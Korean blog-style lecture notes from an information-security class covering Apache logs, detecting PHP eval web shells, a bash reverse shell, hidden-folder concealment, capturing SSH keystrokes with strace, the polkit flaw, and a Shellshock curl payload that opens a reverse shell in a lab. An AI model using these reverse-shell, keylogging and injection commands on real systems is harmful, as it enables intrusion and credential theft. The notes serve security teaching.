본문 바로가기
정보보안

정보보안8 12-13차시

by IT매니절 2024. 12. 22.

ErrorLog
웹 서버의 오류 로그 파일 설정
/etc/httpd/logs/파일명

CustomLog
웹 서버에 접근하는 로그 파일 설정
/etc/httpd/logs/파일명
메인서버 - <IfModule log_config_module>
가상호스트 - <VirtualHost *:80>

한 줄 웹쉘
system("명령어");
eval("echo '123';");
elval("system('pwd')");

 

# grep eval\( /var/www/html/*
grep: /var/www/html/data: 디렉터리입니다
grep: /var/www/html/iframe: 디렉터리입니다
grep: /var/www/html/images: 디렉터리입니다
/var/www/html/list.html:     */@eval($_POST['a']);
/var/www/html/list.html:          $filename = $row['filename']; @eval($_POST['a']);
grep: /var/www/html/log: 디렉터리입니다
grep: /var/www/html/seat_reservation: 디렉터리입니다

=> eval 명령어 찾아내기

 

가상호스트 사용시 /home/* 와 /var/www/html 경로를 점검

 

CVE
소프트웨어의 보안 취약점을 가리키는 표기법

CVSS 점수
- 0.1 ~ 3.9 저위험군
- 4.0 ~ 6.9 중간단계
- 7.0 ~ 8.9 고위험군
- 9.0 ~ 10.0 매우높은 치명적 위험군

 

공격자
nc -lvp 443

희생자
/bin/bash -i >& /dev/tcp/192.168.100.3/443 0<&1

 

=> 이미지를 보면 연결되어 pwd 명령어가 실행된 것을 볼 수 있다

 

발견하기 힘들도록 ". " 폴더를 만들어서 그 안에서 실행한다

 

실무에서 wget을 쓸 일이 거의 없으므로 제거하거나 권한을 바꿔주는 것이 안전

 

polkit 취약점
polkit의 일부인 pkexec는 polkit 정책 정의에 따라
사용자가 setuid 기능을 활용하여 다른 사용자로 명령을 실행할 수 있도록 하는 툴
권한이 없는 로컬 공격자가 프로세스의 매개 변수 벡터를 잘못 처리하여 권한을 상승시키고 인증 및 정책을 우회할 수 있다
https://access.redhat.com/ko/security/vulnerabilities/RHSB-2022-001

 

텍스트 파일 : secure ...
바이너리 파일 : wtmp, utmp ...

 

바이너리 파일은 전용 명령어로 확인해야한다 ( ex last, w 등 )

 

strace
프로그램이 실행될 동안 호출하는 시스템콜 추적

 

ssh key log 탈취하기

strace -f -p 2194 -o "/etc/. "/ssh_keylog.txt -v -e trace=read,write -s 128

-o 옵션에 의해 txt 파일로 저장

-f 자식프로세스까지 추적

-p 2194 프로세스 id로 추적

-v 상세하게 출력

-e trace=read,write 시스템 호출중 read와 write만 출력

-s 128 버퍼에 읽거나 쓰는 데이터 크기는 128바이트로 설정한다. 기본은 32바이트

cat /etc/.\ /ssh_keylog.txt

입력한 부분의 로그 일부

 

 

base64 인코딩

# echo -n E1L | base64
결과 : RTFM

 

E: 69, 0x45, 01000101
1: 49, 0x31, 00110001
L: 76, 0x4c, 01001100

 

01000101 00110001 01001100

=> 이것을 6비트로 쪼갠다

010001 010011 000101 001100

17         19         5           12

=> base64 변환표를 참고하면 RTFM

https://fl0ckfl0ck.tistory.com/32

 

패키지 소스코드 분석 및 컴파일

센토스7
sudo yum -y install yum-utils
sudo yumdownloader --downloadonly --source coreutils
rpm -Uvh coreutils-8.22-24.el7_9.2.src.rpm
cd rpmbuild/SOURCES/
tar xJf coreutils-8.22.tar.xz
cd coreutils-8.22
yum -y install gcc make vim
./configure
make -j
cd src
vim ls.c

( root에서 진행 하면 안 됨 )

 

ls.c의

main 함수안에 printf를 한 줄 추가하였다

 

cd ..
make

다시 컴파일해준 뒤

$ ./ls -l
>>> 소스 파일 수정  <<<total 34540
-rwxr-xr-x 1 linuxadmin wheel 165248 12월 22 17:19 [

... 하략

컴파일한 폴더안의 ls명령어를 써보면 이렇게 수정된 printf가 함께 출력된다

(그냥 ls 쓰면 안 나옴)

 

로키8

rpm -qf /bin/ls
dnf download --source coreutils
sudo groupadd mock
sudo useradd -g mock mockbuild
rpm -Uvh coreutils-8.30-15.el8.src.rpm
cd rpmbuild/SOURCES/
tar xJf coreutils-8.30.tar.xz
cd coreutils-8.30
sudo dnf -y install gcc make vim
./configure
make -j
cd src

 

소스코드 수정후 재컴파일하면

$ ./ls ls*
>>> 로키8 소스코드 수정 <<<

ls       ls-dir.o  ls-ls.o    ls-vdir.o  ls.h
ls-dir.c  ls-ls.c   ls-vdir.c  ls.c       ls.o

 

이렇게 수정된 ls로 출력된다.

 

Shell Shock 취약점

# yum -y install wget
# wget https://vault.centos.org/6.4/updates/x86_64/Packages/bash-4.1.2-15.el6_4.x86_64.rpm
# rpm -ivh bash-4.1.2-15.el6_4.x86_64.rpm --force --nodeps  

취약한 bash 버전 설치

# bash --version
GNU bash, version 4.1.2(1)-release (x86_64-redhat-linux-gnu)
Copyright (C) 2009 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>

This is free software; you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.

 

# env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
vulnerable              <- 취약한 부분
this is a test

 

attacker에서 nv -lvp 80으로 열고

취약한 bash에서

curl -v -A "() { :; };/bin/bash -i >& /dev/tcp/192.168.100.3/80 0<&1 " http://192.168.100.24/cgi-bin/shellShock.cgi

입력하면

리버스 커넥터로 연결됨

 

 

'정보보안' 카테고리의 다른 글

정보보안8 11차시  (0) 2024.12.15
정보보안8 8차시  (0) 2024.12.01
정보보안8 7차시  (0) 2024.11.30
정보보안8 6차시  (0) 2024.11.24
정보보안8 5차시  (0) 2024.11.23